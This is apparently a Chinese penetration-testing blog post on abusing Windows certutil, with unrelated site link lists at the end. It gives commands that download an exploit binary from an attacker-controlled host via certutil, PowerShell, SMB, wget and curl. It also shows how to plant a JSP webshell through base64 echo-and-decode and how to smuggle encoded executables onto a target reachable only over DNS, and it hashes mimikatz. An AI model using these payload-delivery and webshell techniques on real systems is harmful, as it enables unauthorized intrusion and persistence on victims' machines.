前言

在先知看到一篇关于certutil命令的文章(关于certutil的探究),讲得很详细、很全面。特此记录下本人在渗透时使用certutil的一些方法。

在cmd下使用certutil下载远程文件

命令:

certutil.exe -urlcache -split -f http://192.168.1.1:1234/ms10-051.exe exploit.exe

各参数介绍:

  • -urlcache 显示或删除URL缓存条目;无值的命令行选项。
  • -split 保存到文件;无值的命令行选项。存在该选项的命令,就会将文件下载到当前路径,如果没有该选项,就下载到默认路径(本地尝试后,下载的默认路径为C:\Users\用户名)。
  • -f 有值的命令行选项。后面跟要下载的文件 url。

附各条件下的命令行下载文件命令:

PowerShell - IWR:
powershell.exe -Command "Invoke-WebRequest -Uri http://192.168.1.1:1234/ms10-051.exe -OutFile exploit.exe"

PowerShell - IEX:
powershell.exe -Command "IEX(New-Object Net.WebClient).DownloadFile('http://192.168.1.1:1234/ms10-051.exe', exploit.exe)"

CMD - Certutil:
certutil.exe -urlcache -split -f http://192.168.1.1:1234/ms10-051.exe exploit.exe

CMD - SMB:
copy \\192.168.1.1\files\ms10-051.exe exploit.exe

Linux - wget:
wget http://192.168.1.1:1234/ms10-051.exe -O exploit.exe

Linux - curl:
curl http://192.168.1.1:1234/ms10-051.exe -o exploit.exe

通过certutil以base64编码方式写入webshell文件

场景:命令执行情况下,写入webshell的文本文件。

webshell内容中含有较多特殊字符,如果直接echo xxx > shell.jsp,其中的特殊字符会影响该命令的执行,而base64编码后的文本可以直接写入文本,无特殊字符影响。

  1. 文本内容:<%@page import="java.util.*,
  2. base64编码后为:PCVAcGFnZSBpbXBvcnQ9ImphdmEudXRpbC4qLA==
  3. 写入文件:echo PCVAcGFnZSBpbXBvcnQ9ImphdmEudXRpbC4qLA== > C:\tmp\shell.txt
  4. 解码成webshell文件:certutil -f -decode "C:\tmp\shell.txt" "C:\tmp\shell.jsp"

通过certutil对二进制文件进行base64编码

certutil可以将二进制文件(exe文件等)编码成txt文件

certutil -encode 1615808966890.exe 1615808966890.txt

txt文件内容如下,纯文本文件:

将txt文件解码为二进制文件:

certutil -decode 1615808966890.txt 66666.exe

那这适用于什么场景?

假如存在一个命令执行的条件,写入webshell文件存在问题,目标只有dns出网而无法下载远程文件。那么此时我们就可以将base64编码的文本文件写入目标,再解码成二进制文件执行上线。

适用echo写文件时,会在每行末尾追加一个空格,但是我之前的一次经历,发现文件可以正常decode。

cmd /c echo a >> D:\2.txt
cmd /c echo ab >> D:\2.txt
cmd /c echo abc >> D:\2.txt

这篇文章讲解使用powershell的方式追加写入文件,也是一种好的方法。

powershell -c "'a' | Out-File D:\1.txt -Append"
powershell -c "'ab' | Out-File D:\1.txt -Append"
powershell -c "'abc' | Out-File D:\1.txt -Append"

将完整的txt文件一行一行写入文件,可以写个脚本,或者使用burp。

通过certutil计算文件hash

certutil -hashfile mimikatz.exe MD5 //检验MD5

certutil -hashfile mimikatz.exe SHA1 //检验SHA1

certutil -hashfile mimikatz.exe SHA256 //检验SHA256

certutil配合powershell内存加载

没有尝试过,这里mark下这种姿势。总体就是通过certutil解码文件进行powershell上线。

来源为第一篇参考文章的内容。

参考链接

https://xz.aliyun.com/t/9737

https://xz.aliyun.com/t/8345

最新文章

  1. JAVA设计模式之模板模式
  2. 修改OpenCart系统配置
  3. Oracle系列之包
  4. scala和java的区别
  5. 【MD5解密】免费帮大家解MD5
  6. 深入理解Android中View
  7. win8.1系统下安装ubuntu实现双系统实践教程
  8. 公历和农历转换的JS代码(车)
  9. 30个你 “ 不可能全部会做 ” 的javascript题目
  10. 阿里云centos7.x 打开80端口(转)
  11. en-zh(科学技术)science and technology
  12. Spark中repartition和partitionBy的区别
  13. 用户登陆代码py
  14. Wide and Deep Learning Model
  15. python range函数与numpy arange函数,xrange与range的区别
  16. Qt 线程基础(QThread、QtConcurrent等)
  17. VS2015 Git 源代码管理工具使用记录
  18. POJ 3171 DP
  19. 前端隐藏Ios及安卓滚动条
  20. 从零实现一个简易的jQuery框架之二—核心思路详解

热门文章

  1. MATLAB实现随机森林(RF)回归与自变量影响程度分析
  2. 四、流程控制和break、continue、range函数的讲解
  3. 【学习日志】MySQL分表与索引的关系
  4. Spring02---IOC-Debug查看Bean的实例化过程
  5. python 取整方法
  6. elasticsearch之日期类型有点怪
  7. ‘mongo‘不是内部或外部命令,也不是可运行的程序或批处理文件
  8. freertos内存pvPortMalloc 和 malloc 区别 ,以及全局变量占用情况
  9. STM32F1库函数初始化系列:定时器中断
  10. IOS12.0 + Xcode 12.0 错误:Building for iOS Simulator, but the linked and embedded framework &#39;XXX.framework&#39; was built for iOS + iOS Simulator